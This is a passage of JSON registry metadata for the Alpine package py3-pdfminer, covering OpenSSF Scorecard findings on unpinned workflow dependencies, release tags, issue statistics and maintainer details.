https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:19.031Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":322,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2024-12-09T13:54:08.907Z","updated_at":"2024-12-09T13:54:08.907Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-04-27T18:20:22.676Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":6220805,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-05-28T12:30:22.000Z","latest_release_published_at":"2020-05-28T12:30:22.000Z","latest_release_number":"20200517-r0","last_synced_at":"2026-04-01T01:12:12.021Z","created_at":"2023-02-01T03:42:43.626Z","updated_at":"2026-04-01T01:12:12.021Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.12/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom 